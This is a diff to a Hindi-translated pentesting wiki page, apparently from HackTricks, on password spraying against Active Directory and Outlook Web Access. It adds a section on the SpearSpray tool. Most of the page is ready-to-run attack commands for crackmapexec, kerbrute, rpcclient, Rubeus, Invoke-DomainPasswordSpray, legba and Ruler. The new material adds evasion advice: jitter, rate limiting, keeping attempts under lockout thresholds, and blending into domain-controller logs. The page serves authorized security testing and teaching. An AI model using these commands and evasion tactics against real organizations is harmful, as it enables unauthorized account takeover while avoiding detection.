diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index b0b62c5e6..57b90d974 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -एक बार जब आप कई **मान्य उपयोगकर्ता नाम** ढूंढ लेते हैं, तो आप प्रत्येक खोजे गए उपयोगकर्ता के साथ सबसे **सामान्य पासवर्ड** आज़मा सकते हैं (पर्यावरण की पासवर्ड नीति को ध्यान में रखें)।\ -**डिफ़ॉल्ट** रूप से **न्यूनतम** **पासवर्ड** **लंबाई** **7** है। +एक बार जब आप कई **valid usernames** पा लेते हैं, तो आप प्रत्येक discovered users के साथ सबसे अधिक प्रयुक्त **common passwords** आजमा सकते हैं (environment की password policy को ध्यान में रखें).\ +डिफ़ॉल्ट रूप से **minimum** **password** **length** **7** है। -सामान्य उपयोगकर्ता नामों की सूचियाँ भी उपयोगी हो सकती हैं: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -ध्यान दें कि यदि आप कई गलत पासवर्ड आज़माते हैं तो आप **कुछ खातों को लॉक कर सकते हैं** (डिफ़ॉल्ट रूप से 10 से अधिक)। +ध्यान दें कि आप **could lockout some accounts if you try several wrong passwords** (डिफ़ॉल्ट रूप से 10 से ज़्यादा)। ### Get password policy -यदि आपके पास कुछ उपयोगकर्ता क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो आप **पासवर्ड नीति प्राप्त कर सकते हैं**: +यदि आपके पास कुछ user credentials हैं या domain user के रूप में एक shell है, तो आप **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Linux (या सभी) से शोषण +### Linux (या सभी) से Exploitation - **crackmapexec** का उपयोग करते हुए: ```bash @@ -40,7 +40,7 @@ crackmapexec smb -u users.txt -p passwords.txt ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) का उपयोग करना +- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) का उपयोग ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 @@ -51,25 +51,25 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) का उपयोग करना - अनुशंसित नहीं है कभी-कभी काम नहीं करता +- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) का उपयोग — अनुशंसित नहीं; कभी-कभी काम नहीं करता ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- `scanner/smb/smb_login` मॉड्यूल के साथ **Metasploit**: +- **Metasploit** के `scanner/smb/smb_login` मॉड्यूल का उपयोग करके: ![](<../../images/image (745).png>) -- **rpcclient** का उपयोग करते हुए: +- **rpcclient** का उपयोग करके: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### From Windows +#### Windows से -- With [Rubeus](https://github.com/Zer1t0/Rubeus) संस्करण जिसमें ब्रूट मॉड्यूल है: +- [Rubeus](https://github.com/Zer1t0/Rubeus) के brute module वाले version के साथ: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,29 +77,94 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) के साथ (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ताओं को उत्पन्न कर सकता है और यह डोमेन से पासवर्ड नीति प्राप्त करेगा और इसके अनुसार प्रयासों को सीमित करेगा): +- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ताओं को जेनरेट कर सकता है और यह डोमेन से पासवर्ड पॉलिसी प्राप्त करेगा और उसी के अनुसार प्रयासों की संख्या सीमित करेगा): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` -- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) के साथ +- के साथ [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` -## ब्रूट फोर्स +## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Kerberos pre-auth–based spraying SMB/NTLM/LDAP bind attempts की तुलना में शोर कम करता है और AD lockout policies के साथ बेहतर मेल खाता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़कर सटीक और सुरक्षित तरीके से spray करता है। यह compromised principals को Neo4j में BloodHound pathing के लिए tag भी कर सकता है। + +Key ideas: +- LDAP user discovery with paging और LDAPS support, वैकल्पिक रूप से custom LDAP filters का उपयोग करके। +- Domain lockout policy + PSO-aware filtering ताकि एक configurable attempt buffer (threshold) छोड़ा जा सके और users को लॉक होने से बचाया जा सके। +- Kerberos pre-auth validation तेज़ gssapi bindings का उपयोग करते हुए (DCs पर 4625 के बजाय 4768/4771 उत्पन्न होते हैं)। +- Pattern-based, per-user password generation, ऐसे variables का उपयोग करते हुए जैसे नाम और प्रत्येक user के pwdLastSet से निकले temporal values। +- Throughput control threads, jitter, और max requests per second के साथ। +- Optional Neo4j integration ताकि owned users को BloodHound के लिए mark किया जा सके। + +Basic usage and discovery: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +लक्ष्यीकरण और पैटर्न नियंत्रण: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +छुपाव और सुरक्षा नियंत्रण: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound समृद्धिकरण: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +पैटर्न सिस्टम का अवलोकन (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Available variables include: +- {name}, {samaccountname} +- प्रत्येक यूज़र के pwdLastSet (या whenCreated) से Temporal: {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers और org token: {separator}, {suffix}, {extra} + +Operational notes: +- सबसे विश्वसनीय badPwdCount और policy-संबंधी जानकारी पढ़ने के लिए -dc के साथ PDC-emulator को प्राथमिकता दें। +- badPwdCount की रीसेट observation window के बाद अगले प्रयास पर ट्रिगर होती है; सुरक्षित रहने के लिए threshold और timing का उपयोग करें। +- Kerberos pre-auth प्रयास DC telemetry में 4768/4771 के रूप में दिखते हैं; भीड़ में घुलने के लिए jitter और rate-limiting का उपयोग करें। + +> Tip: SpearSpray’s default LDAP page size is 200; आवश्यकतानुसार -lps से समायोजित करें। + ## Outlook Web Access -Outlook के लिए कई उपकरण हैं p**assword spraying**. +p**assword spraying outlook** के लिए कई tools उपलब्ध हैं। -- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- With [Ruler](https://github.com/sensepost/ruler) (reliable!) -- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- के साथ [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) +- के साथ [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- के साथ [Ruler](https://github.com/sensepost/ruler) (reliable!) +- के साथ [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- के साथ [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -इन उपकरणों में से किसी का उपयोग करने के लिए, आपको एक उपयोगकर्ता सूची और एक पासवर्ड / पासवर्ड की एक छोटी सूची की आवश्यकता है। +इनमें से किसी भी tool का उपयोग करने के लिए, आपको एक user list और एक password / छोटे password सूची की आवश्यकता होगी जिन्हें spray किया जा सके। ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -118,8 +183,13 @@ Outlook के लिए कई उपकरण हैं p**assword spraying**. - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## References +## संदर्भ +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)